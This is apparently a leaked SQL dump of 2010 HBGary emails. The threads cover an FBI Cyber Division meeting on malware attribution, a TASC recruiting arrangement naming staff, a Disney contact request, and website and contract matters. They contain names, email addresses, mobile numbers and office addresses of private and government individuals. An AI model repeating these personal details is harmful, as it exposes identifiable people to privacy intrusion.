iPhoneOn Sep 7, 2010, at 4:41 PM, \"Geary, Christopher A.\"&lt;Christopher.Geary@ic.fbi.gov&gt; wrote:Aaron,Where would you want to meet? You mentioned your Regus offices, where is that located? &nbsp;Sorry I am not familiar with D.C.ChrisSSA Christopher A. GearyCERT/CC Liaison3238 CICPittsburgh, PA 15213(412) 268-9244________________________________________From: Aaron Barr [aaron@hbgary.com]Sent: Tuesday, September 07, 2010 4:31 PMTo: Geary, Christopher A.Subject: Re: FIRST Conference in MiamiChris,Sure either week is fine with me. &nbsp;Let me know what works for you.AaronOn Sep 7, 2010, at 4:24 PM, Geary, Christopher A. wrote:Aaron,Thank you for the quick response. &nbsp;I am not sure if Wednesday of next week would be too quick or not? &nbsp;It would be myself and 1 -3 other Cyber Division people. &nbsp;If that doesn\'t work, the following week could work out too.Thanks,ChrisSSA Christopher A. GearyCERT/CC Liaison3238 CICPittsburgh, PA 15213(412) 268-9244________________________________________From: Aaron Barr [aaron@hbgary.com]Sent: Tuesday, September 07, 2010 4:06 PMTo: Geary, Christopher A.Subject: Re: FIRST Conference in MiamiHi Chris,I would be happy to meet. &nbsp;I am local to DC, but we don\'t have a local DC office yet, our headquarters is in Sacramento and we have a Lab in Colorado Springs. &nbsp;But I can get a Regus office for an hour or two and we can go over some of our capabilities and methodologies related to cyber investigations.I will be on travel Mon and Tues next week. &nbsp;Let me know your availability.AaronOn Sep 7, 2010, at 11:43 AM, Geary, Christopher A. wrote:Aaron,Hello, I am SSA Chris Geary of the FBI\'s Cyber Division. &nbsp;We had spoken briefly at the FIRST Conference in Miami. &nbsp;I think it was was Martin who introduced us during a discussion of malware fingerprinting. &nbsp;I am part of a team here in the Cyber Division that looks at new technologies and ways to improve our investigations as it pertains to malware analysis. &nbsp;I had also read an article recently about how HB Gary can identify malicious code writers through malware analysis. &nbsp;&nbsp;Do you have a presentation that you could provide us on this? &nbsp;If possible, we would like to visit your shop in the next week or so, if your schedules permit. &nbsp;Please advise if this is something that you could provide.Thank You,ChrisSSA Christopher A. GearyCERT/CC Liaison3238 CICPittsburgh, PA 15213(412) 268-9244',5390,'aaron_hbgary_com/5390.html'),(11726,'2010-09-14','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008802.M148632P14101Q6581.eml','\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>,\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>','Re: ROMAS Reqs','ok.there should be a set of people applying for the positions. &nbsp;I am in the springs and just spoke to some of them.One condition is on some of them there will be an opportunity once we win to have the choice to switch to HBGary if they desire. &nbsp;I told them that we had already had that discussion and it was agreed. &nbsp;That is still the case right?People to watch out for:Tawny FritzMatt FurmanAaron SpringJeremiahCal JacobsBrandon ColstonProbably some others but watch for those for now.AaronOn Aug 30, 2010, at 7:39 PM, Clair, Chris (TASC) wrote:\r\n\r\n\r\nHi Aaron,\r\n\r\nThe reqs we discussed are open.&nbsp; Then numbers are&nbsp; as follows:\r\n\r\n118583 Web S/W Developer 5\r\n118580 Web S/W Developer 4\r\n118573 Web S/W Developer 3\r\n118584 Systems Admin 4\r\n118586 Graphics Artist 5\r\n118587 Graphics Artist 4\r\n\r\nPlease pass these onto any folks you think are good matches for ROMAS.&nbsp;\r\n\r\nThanks,\r\n\r\nChris \r\n\r\n\r\n\r\n',13322,'aaron_hbgary_com/13322.html'),(11727,'2010-09-14','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008802.M364478P14101Q6582.eml','\"Andy Kemp\" <akemp@apple.com>','Proposal','Hi Andy,\r\n\r\nStill waiting on the COIN/Romas proposal.... any day.\r\n\r\nDo you have a contact at Pixar/Disney I could talk with?\r\n\r\nAaron',4699,'aaron_hbgary_com/4699.html'),(11728,'2010-09-14','\"Geary, Christopher A.\" <Christopher.Geary@ic.fbi.gov>','/aaron@hbgary.com/new/1297008802.M653633P14101Q6583.eml','\"aaron@hbgary.com\" <aaron@hbgary.com>','Re: HB Gary Presentation','\r\nExcellent.  Thx.  I searched my email, and it didn\'t show up.  It was some issue on my side.  Thx\r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;To: Geary, Christopher A.Sent: Tue Sep 14 15:00:42 2010Subject: Re: HB Gary Presentation\r\nAbsolutely we are still on. &nbsp;It wasn\'t in the meeting invite?Let me send in email:2010 Corporate Ridge; McLean; Suite # 700; United States; Virginia 22102See you tomorrow.AaronOn Sep 14, 2010, at 11:44 AM, Geary, Christopher A. wrote:Aaron,I just wanted to make sure that we are still on for tomorrow. &nbsp;Also, can you provide the address that we will meet you at? &nbsp;&nbsp;Thanks,ChrisSSA Christopher A. GearyCERT/CC Liaison3238 CICPittsburgh, PA 15213(412) 268-9244________________________________________From: Aaron Barr [aaron@hbgary.com]Sent: Thursday, September 09, 2010 2:15 PMTo: Geary, Christopher A.Cc: Delecki, Zachary; Jones, William A. IVSubject: Re: HB Gary PresentationYes. &nbsp;Look forward to it. &nbsp;I will send out the meeting notice.AaronSent from my iPhoneOn Sep 8, 2010, at 4:53 PM, \"Geary, Christopher A.\"&lt;Christopher.Geary@ic.fbi.gov&gt; wrote:Aaron,Listed below are the attendees from Cyber Division HQ:SSA Chris Geary &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Christopher.geary@ic.fbi.govAD Special Advisor &nbsp;Bill Jones &nbsp;&nbsp;&nbsp;William.Jones3@ic.fbi.govSSA Zach Delecki &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Zachary.Delecki@ic.fbi.govThe date of the meeting will be 09/15/2010 from 1:30 to 3:30 PM at your Tyson\'s Corner office space, correct?ChrisSSA Christopher A. GearyCERT/CC Liaison3238 CICPittsburgh, PA 15213(412) 268-9244________________________________________From: Aaron Barr [aaron@hbgary.com]Sent: Wednesday, September 08, 2010 12:59 PMTo: Geary, Christopher A.Subject: Re: FIRST Conference in MiamiThat will be fine. &nbsp;Would you like me to send out a meeting notice?AaronSent from my iPadOn Sep 8, 2010, at 10:45 AM, \"Geary, Christopher A.\"&lt;Christopher.Geary@ic.fbi.gov&gt; wrote:Aaron,If possible, this would be for Wednesday (09/15/2010) from 1:30 to 3:30 at your location in TC. &nbsp;If this doesn\'t work with your schedule, we could reschedule for another day the next week.Thanks,ChrisSSA Christopher A. GearyCERT/CC Liaison3238 CICPittsburgh, PA 15213(412) 268-9244________________________________________From: Aaron Barr [aaron@hbgary.com]Sent: Tuesday, September 07, 2010 9:52 PMTo: Geary, Christopher A.Subject: Re: FIRST Conference in Miamiis this for next Wed? or another day?AaronOn Sep 7, 2010, at 5:01 PM, Geary, Christopher A. wrote:Aaron, Tysons would be fine. &nbsp;I\'m still waiting to hear back from a couple of people. &nbsp;Does the afternoon work for you, say 1:30 to 3:30?Chris----- Original Message -----From: Aaron Barr &lt;aaron@hbgary.com&gt;To: Geary, Christopher A.Sent: Tue Sep 07 16:56:42 2010Subject: Re: FIRST Conference in MiamiSure. &nbsp;I normally use the offices in Tysons Corner but I can checkother locations that might be closer to you.AaronSent from my iPhoneOn Sep 7, 2010, at 4:41 PM, \"Geary, Christopher A.\"&lt;Christopher.Geary@ic.fbi.gov&gt; wrote:Aaron,Where would you want to meet? You mentioned your Regus offices, where is that located? &nbsp;Sorry I am not familiar with D.C.ChrisSSA Christopher A. GearyCERT/CC Liaison3238 CICPittsburgh, PA 15213(412) 268-9244________________________________________From: Aaron Barr [aaron@hbgary.com]Sent: Tuesday, September 07, 2010 4:31 PMTo: Geary, Christopher A.Subject: Re: FIRST Conference in MiamiChris,Sure either week is fine with me. &nbsp;Let me know what works for you.AaronOn Sep 7, 2010, at 4:24 PM, Geary, Christopher A. wrote:Aaron,Thank you for the quick response. &nbsp;I am not sure if Wednesday of next week would be too quick or not? &nbsp;It would be myself and 1 -3 other Cyber Division people. &nbsp;If that doesn\'t work, the following week could work out too.Thanks,ChrisSSA Christopher A. GearyCERT/CC Liaison3238 CICPittsburgh, PA 15213(412) 268-9244________________________________________From: Aaron Barr [aaron@hbgary.com]Sent: Tuesday, September 07, 2010 4:06 PMTo: Geary, Christopher A.Subject: Re: FIRST Conference in MiamiHi Chris,I would be happy to meet. &nbsp;I am local to DC, but we don\'t have a local DC office yet, our headquarters is in Sacramento and we have a Lab in Colorado Springs. &nbsp;But I can get a Regus office for an hour or two and we can go over some of our capabilities and methodologies related to cyber investigations.I will be on travel Mon and Tues next week. &nbsp;Let me know your availability.AaronOn Sep 7, 2010, at 11:43 AM, Geary, Christopher A. wrote:Aaron,Hello, I am SSA Chris Geary of the FBI\'s Cyber Division. &nbsp;We had spoken briefly at the FIRST Conference in Miami. &nbsp;I think it was was Martin who introduced us during a discussion of malware fingerprinting. &nbsp;I am part of a team here in the Cyber Division that looks at new technologies and ways to improve our investigations as it pertains to malware analysis. &nbsp;I had also read an article recently about how HB Gary can identify malicious code writers through malware analysis. &nbsp;&nbsp;Do you have a presentation that you could provide us on this? &nbsp;If possible, we would like to visit your shop in the next week or so, if your schedules permit. &nbsp;Please advise if this is something that you could provide.Thank You,ChrisSSA Christopher A. GearyCERT/CC Liaison3238 CICPittsburgh, PA 15213(412) 268-9244',7449,'aaron_hbgary_com/7449.html'),(11729,'2010-09-14','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008802.M903896P14101Q6584.eml','\"Penny Leavy\" <penny@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>','Disney','Hey guys,\r\n\r\nDo you have a contact at Disney I could talk with?  its about some classified work.\r\n\r\nAaron\r\n\r\n\r\n',11887,'aaron_hbgary_com/11887.html'),(11730,'2010-09-14','\"andy kemp\" <akemp@apple.com>','/aaron@hbgary.com/new/1297008803.M276107P14101Q6585.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Proposal','good good\r\n\r\ni\'ll get a contact\r\n\r\n\r\nOn Sep 14, 2010, at 3:04 PM, Aaron Barr wrote:\r\n\r\n> Hi Andy,\r\n>\r\n> Still waiting on the COIN/Romas proposal.... any day.\r\n>\r\n> Do you have a contact at Pixar/Disney I could talk with?\r\n>\r\n> Aaron\r\n\r\nAndy Kemp\r\nHomeland Defense / National Programs\r\n\r\nApple Inc.\r\n11921 Freedom Drive\r\nSuite 600\r\nReston, Virginia\r\n20194\r\n\r\nakemp@apple.com\r\n240-988-3476\r\n\r\n\r\n\r\n\r\n\r\n',6276,'aaron_hbgary_com/6276.html'),(11731,'2010-09-14','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297008803.M895072P14101Q6586.eml','dcollend@digitalglobe.com,dcollend@digitalglobe.com,','HBGary Meeting follow up','Hi Dan Are you available this afternoon to review the meeting with Greg and Aaron, and next steps?Maria-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.\r\nCell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com   \r\n\r\n',7636,'aaron_hbgary_com/7636.html'),(11732,'2010-09-14','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297008804.M105112P14101Q6587.eml','mark@hbgary.com,\"Barr Aaron\" <aaron@hbgary.com>','Fwd: Website','---------- Forwarded message ----------\r\nFrom: Penny Leavy-Hoglund \r\nDate: Tue, Sep 14, 2010 at 11:00 AM\r\nSubject: Website\r\nTo: Ted Vera \r\n\r\n\r\nHi Ted,\r\n\r\n\r\n\r\nI need to make some changes to the website.  Specifically we want to\r\nstream line some areas, change some messaging etc.\r\n\r\n\r\n\r\n1.        I think we should put HBGary Federal Under Company- It’s too\r\nconfusing on a variety of fronts.  First, there is nothing for HBGary\r\nFederal under Federal except Aaron’s bio and www.hbgaryfederal.com\r\njust links back to us, which looks weird.  I thought you guys had a\r\nsite??\r\n\r\n2.       I need your bio, we want to put you guys on the HBGary Team\r\n\r\n3.       We need to re-do partner page.  We have a partner program for\r\nresellers, universities and consultants.  We have to have three\r\nsections for these.  We also need to add Foundstone logo, PwC logo,\r\nImmix and Merlin (in DC and CO) , Verdasys and Skout Forensics\r\nIdeally I’d like a map of world where customer could click on an area\r\nand the resellers come up.  Is this possible?\r\n\r\n4.\r\n\r\n\r\n\r\n\r\n\r\nPenny C. Leavy\r\n\r\nPresident\r\n\r\nHBGary, Inc\r\n\r\n\r\n\r\n\r\n\r\nNOTICE – Any tax information or written tax advice contained herein\r\n(including attachments) is not intended to be and cannot be used by\r\nany taxpayer for the purpose of avoiding tax penalties that may be\r\nimposed on the taxpayer.  (The foregoing legend has been affixed\r\npursuant to U.S. Treasury regulations governing tax practice.)\r\n\r\n\r\n\r\nThis message and any attached files may contain information that is\r\nconfidential and/or subject of legal privilege intended only for use\r\nby the intended recipient. If you are not the intended recipient or\r\nthe person responsible for   delivering the message to the intended\r\nrecipient, be advised that you have received this message in error and\r\nthat any dissemination, copying or use of this message or attachment\r\nis strictly\r\n\r\n\r\n\r\n\r\n-- \r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\n',1361,'aaron_hbgary_com/1361.html'),(11733,'2010-09-14','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297008806.M433331P14101Q6588.eml','\"Ott, Stephen D\" <Stephen.Ott@mantech.com>,\"Ott, Stephen D\" <Stephen.Ott@mantech.com>','Re: SF 328 and KMPL','Steve,\r\n\r\nMy apologies for not sending this to you yesterday, Aaron Barr was on\r\ntravel so it took me a bit longer to get the signatures.  Attached PDF\r\nin encrypted ZIP file.  I\'ll call with the password.\r\n\r\nTed\r\n\r\n\r\n\r\nOn Sat, Sep 11, 2010 at 11:33 AM, Ott, Stephen D\r\n wrote:\r\n> Gatorbait Team,\r\n>\r\n>\r\n>\r\n> Good afternoon.  I will be working on a complete checklist for items needed\r\n> from subcontractors.  However, I don’t want to delay in getting some of\r\n> these items to you.\r\n>\r\n>\r\n>\r\n> So, in accordance with L-5, V, 1.4 and 1.5, please complete the attached SF\r\n> 328 and KMPL if applicable/necessary.  If you believe these items are not\r\n> applicable or not necessary for your company, please provide an email\r\n> stating that and briefly explaining why.  If you prefer, you can provide\r\n> them in sealed envelopes as the data is sensitive and PII.\r\n>\r\n>\r\n>\r\n> Please let us know if you have any questions.  If you do, please include\r\n> Penny Zimmerman and Linda Thompson on the email as well.\r\n>\r\n>\r\n>\r\n> Thank you for your assistance.\r\n>\r\n>\r\n>\r\n> Regards,\r\n>\r\n> Steve\r\n>\r\n>\r\n>\r\n>\r\n>\r\n> Stephen Ott\r\n>\r\n> Principal Subcontracts Administrator\r\n>\r\n> ManTech Mission, Cyber, Technology, and Solutions Group\r\n>\r\n> 7799 Leesburg Pike, Ste 700 South\r\n>\r\n> Falls Church, VA 22043\r\n>\r\n> (P) 703-485-8010\r\n>\r\n> (F) 703-847-0486\r\n>\r\n>\r\n>\r\n> **PROPRIETARY & COMPANY-CONFIDENTIAL**\r\n>\r\n> This email and the contents of this email (including any attachments) are\r\n> company-confidential and/or proprietary. Unless you are the addressee (or\r\n> authorized to receive for the addressee), you may not use, copy, disclose or\r\n> distribute this email or any of the contents of this email.  If you received\r\n> this email in error, please promptly notify the sender by reply email and\r\n> delete this email from your records.  Thank you.\r\n>\r\n>\r\n\r\n\r\n\r\n-- \r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\n',287,'aaron_hbgary_com/287.html'),(11734,'2010-09-14','\"Joseph Pizzo\" <joe@hbgary.com>','/aaron@hbgary.com/new/1297008806.M768587P14101Q6589.eml','\"Matt Standart\" <matt@hbgary.com>,\"Matt Standart\" <matt@hbgary.com>,,,,','Re: Holy Crap!','Isn\'t terremark harlan\'s company? Why don\'t we have Greg or rich reach out to him with a WTF?&nbsp;Joseph Pizzo(917) 952-6385On Sep 14, 2010, at 9:24 AM, Matt Standart &lt;matt@hbgary.com&gt; wrote:That statement is loaded with a ton of bias and lacks supporting facts.&nbsp; Terremark again shows why they are a poor choice&nbsp;for a service provider.&nbsp; The malware being deleted from the system could have been triggered by the net admins taking down the infected systems; thus alerting the attacker to their knowledge of their presence.&nbsp; Why don\'t they recommend firing the QNA IT staff next?\r\n\r\nOn Tue, Sep 14, 2010 at 8:17 AM, Phil Wallisch &lt;phil@hbgary.com&gt; wrote:\r\nI just reviewed our competitor\'s draft report for my current client.&nbsp; From the report:\"“FDPro.exe” belongs to\r\nHBGary/DDNA. Analysis indicates that either the attackers became aware of the HBGARY software and took the specific action to remove the malware or, a concerted effortwas made to clean the enterprise with one of the DDNA tools that would have removed\r\nevidence as part of a process to remove malware.\"Really?&nbsp; Really?..........Really?&nbsp; That is your finding?&nbsp; An advanced group of attackers with Admin access to a network for over a year decided that they would like to use HBGary tools to remove evidence?&nbsp; That is intense.&nbsp; I didn\'t even know fdpro.exe could secure delete hacker tools.&nbsp; Sure.&nbsp; Let me add to that stellar finding.&nbsp; \"It is likely that the attackers reverse engineered HBGary\'s software, altered the source code, compiled, and then deployed the new agent to securely delete evidence\".\r\n-- Phil Wallisch | Principal Consultant | HBGary, Inc.3604 Fair Oaks Blvd, Suite 250 | Sacramento, CA 95864Cell Phone: 703-655-1208 | Office Phone: 916-459-4727 x 115 | Fax: 916-481-1460\r\nWebsite: http://www.hbgary.com | Email: phil@hbgary.com | Blog:&nbsp; https://www.hbgary.com/community/phils-blog/\r\n\r\n',3947,'aaron_hbgary_com/3947.html'),(11735,'2010-09-14','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297008806.M984455P14101Q6590.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Disney','Jeffrey Butler, Let me see if he\'ll talk to you, he\'s super busy.  \r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Tuesday, September 14, 2010 12:05 PM\r\nTo: Penny Leavy; Greg Hoglund\r\nSubject: Disney\r\n\r\nHey guys,\r\n\r\nDo you have a contact at Disney I could talk with?  its about some\r\nclassified work.\r\n\r\nAaron\r\n\r\n\r\n\r\n',13537,'aaron_hbgary_com/13537.html'),(11736,'2010-09-14','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008807.M244939P14101Q6591.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','Re: Disney','Ok I also reached through my apple an google contacts to see if I can\r\nget in that way.\r\n\r\nAaron\r\n\r\nSent from my iPhone\r\n\r\nOn Sep 14, 2010, at 3:24 PM, Penny Leavy-Hoglund  wrote:\r\n\r\n> Jeffrey Butler, Let me see if he\'ll talk to you, he\'s super busy.\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Tuesday, September 14, 2010 12:05 PM\r\n> To: Penny Leavy; Greg Hoglund\r\n> Subject: Disney\r\n>\r\n> Hey guys,\r\n>\r\n> Do you have a contact at Disney I could talk with?  its about some\r\n> classified work.\r\n>\r\n> Aaron\r\n>\r\n>\r\n>\r\n',16808,'aaron_hbgary_com/16808.html'),(11737,'2010-09-14','\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>','/aaron@hbgary.com/new/1297008807.M455673P14101Q6592.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: ROMAS Reqs','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron,\r\n\r\n&nbsp;\r\n\r\nYes that is our agreement.&nbsp; There will be an opportunity to move\r\nbetween companies for select personnel.&nbsp; I can&#8217;t promise all of the personnel\r\nwill have the ability to transfer.&nbsp; I would further our agreement by adding\r\nthat the management of the two companies have to agree on the transfer before\r\nit can happen.\r\n\r\n&nbsp;\r\n\r\nI think that is fair.&nbsp; What do you think?\r\n\r\n&nbsp;\r\n\r\nChris \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Tuesday, September 14, 2010 3:03 PM\r\nTo: Clair, Chris (TASC)\r\nCc: Garcia, Kathy (TASC)\r\nSubject: Re: ROMAS Reqs\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nok.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nthere should be a set of people applying for the positions.\r\n&nbsp;I am in the springs and just spoke to some of them.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOne condition is on some of them there will be an\r\nopportunity once we win to have the choice to switch to HBGary if they desire.\r\n&nbsp;I told them that we had already had that discussion and it was agreed.\r\n&nbsp;That is still the case right?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nPeople to watch out for:\r\n\r\n\r\n\r\n\r\n\r\nTawny Fritz\r\n\r\n\r\n\r\n\r\n\r\nMatt Furman\r\n\r\n\r\n\r\n\r\n\r\nAaron Spring\r\n\r\n\r\n\r\n\r\n\r\nJeremiah\r\n\r\n\r\n\r\n\r\n\r\nCal Jacobs\r\n\r\n\r\n\r\n\r\n\r\nBrandon Colston\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nProbably some others but watch for those for now.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Aug 30, 2010, at 7:39 PM, Clair, Chris (TASC) wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHi Aaron,\r\n\r\nThe reqs we discussed are open.&nbsp; Then numbers are&nbsp; as follows:\r\n\r\n118583 Web S/W Developer 5\r\n118580 Web S/W Developer 4\r\n118573 Web S/W Developer 3\r\n118584 Systems Admin 4\r\n118586 Graphics Artist 5\r\n118587 Graphics Artist 4\r\n\r\nPlease pass these onto any folks you think are good matches for ROMAS.&nbsp;\r\n\r\nThanks,\r\n\r\nChris \r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',1674,'aaron_hbgary_com/1674.html'),(11738,'2010-09-14','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008807.M813446P14101Q6593.eml','\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>,\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>','Re: ROMAS Reqs','Ok, I think.  Probably good to have a discussion.  We can gut their multimedia and dev. capability but I will be reluctant to encourage certain people to apply if their is a possibility they can&#39;t switch.\r\nTawnyJeremiahMattAaronCalI would like to negotiate some of this thru prior to hiring if that&#39;s ok.  And again I am only looking to negotiate the opportunity.  Obviously if they want to stay then i am happy with that.\r\nAaronSent from my iPhoneOn Sep 14, 2010, at 3:45 PM, &quot;Clair, Chris (TASC)&quot; &lt;CHRISTOPHER.CLAIR@tasc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nHi Aaron,\r\n\r\n \r\n\r\nYes that is our agreement.  There will be an opportunity to move\r\nbetween companies for select personnel.  I can’t promise all of the personnel\r\nwill have the ability to transfer.  I would further our agreement by adding\r\nthat the management of the two companies have to agree on the transfer before\r\nit can happen.\r\n\r\n \r\n\r\nI think that is fair.  What do you think?\r\n\r\n \r\n\r\nChris \r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Tuesday, September 14, 2010 3:03 PM\r\nTo: Clair, Chris (TASC)\r\nCc: Garcia, Kathy (TASC)\r\nSubject: Re: ROMAS Reqs\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nok.\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nthere should be a set of people applying for the positions.\r\n I am in the springs and just spoke to some of them.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nOne condition is on some of them there will be an\r\nopportunity once we win to have the choice to switch to HBGary if they desire.\r\n I told them that we had already had that discussion and it was agreed.\r\n That is still the case right?\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nPeople to watch out for:\r\n\r\n\r\n\r\n\r\n\r\nTawny Fritz\r\n\r\n\r\n\r\n\r\n\r\nMatt Furman\r\n\r\n\r\n\r\n\r\n\r\nAaron Spring\r\n\r\n\r\n\r\n\r\n\r\nJeremiah\r\n\r\n\r\n\r\n\r\n\r\nCal Jacobs\r\n\r\n\r\n\r\n\r\n\r\nBrandon Colston\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nProbably some others but watch for those for now.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nOn Aug 30, 2010, at 7:39 PM, Clair, Chris (TASC) wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nHi Aaron,\r\n\r\nThe reqs we discussed are open.  Then numbers are  as follows:\r\n\r\n118583 Web S/W Developer 5\r\n118580 Web S/W Developer 4\r\n118573 Web S/W Developer 3\r\n118584 Systems Admin 4\r\n118586 Graphics Artist 5\r\n118587 Graphics Artist 4\r\n\r\nPlease pass these onto any folks you think are good matches for ROMAS. \r\n\r\nThanks,\r\n\r\nChris \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',3980,'aaron_hbgary_com/3980.html'),(11739,'2010-09-14','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008808.M16928P14101Q6594.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: ROMAS Reqs','?Sent from my iPhoneBegin forwarded message:From: &quot;Clair, Chris (TASC)&quot; &lt;CHRISTOPHER.CLAIR@tasc.com&gt;\r\nDate: September 14, 2010 3:45:30 PM MDTTo: &quot;Aaron Barr&quot; &lt;aaron@hbgary.com&gt;Cc: &quot;Garcia, Kathy (TASC)&quot; &lt;KATHERINE.GARCIA@tasc.com&gt;\r\nSubject: RE: ROMAS Reqs\r\n\r\n\r\n\r\nHi Aaron,\r\n\r\n \r\n\r\nYes that is our agreement.  There will be an opportunity to move\r\nbetween companies for select personnel.  I can’t promise all of the personnel\r\nwill have the ability to transfer.  I would further our agreement by adding\r\nthat the management of the two companies have to agree on the transfer before\r\nit can happen.\r\n\r\n \r\n\r\nI think that is fair.  What do you think?\r\n\r\n \r\n\r\nChris \r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Tuesday, September 14, 2010 3:03 PM\r\nTo: Clair, Chris (TASC)\r\nCc: Garcia, Kathy (TASC)\r\nSubject: Re: ROMAS Reqs\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nok.\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nthere should be a set of people applying for the positions.\r\n I am in the springs and just spoke to some of them.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nOne condition is on some of them there will be an\r\nopportunity once we win to have the choice to switch to HBGary if they desire.\r\n I told them that we had already had that discussion and it was agreed.\r\n That is still the case right?\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nPeople to watch out for:\r\n\r\n\r\n\r\n\r\n\r\nTawny Fritz\r\n\r\n\r\n\r\n\r\n\r\nMatt Furman\r\n\r\n\r\n\r\n\r\n\r\nAaron Spring\r\n\r\n\r\n\r\n\r\n\r\nJeremiah\r\n\r\n\r\n\r\n\r\n\r\nCal Jacobs\r\n\r\n\r\n\r\n\r\n\r\nBrandon Colston\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nProbably some others but watch for those for now.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nOn Aug 30, 2010, at 7:39 PM, Clair, Chris (TASC) wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nHi Aaron,\r\n\r\nThe reqs we discussed are open.  Then numbers are  as follows:\r\n\r\n118583 Web S/W Developer 5\r\n118580 Web S/W Developer 4\r\n118573 Web S/W Developer 3\r\n118584 Systems Admin 4\r\n118586 Graphics Artist 5\r\n118587 Graphics Artist 4\r\n\r\nPlease pass these onto any folks 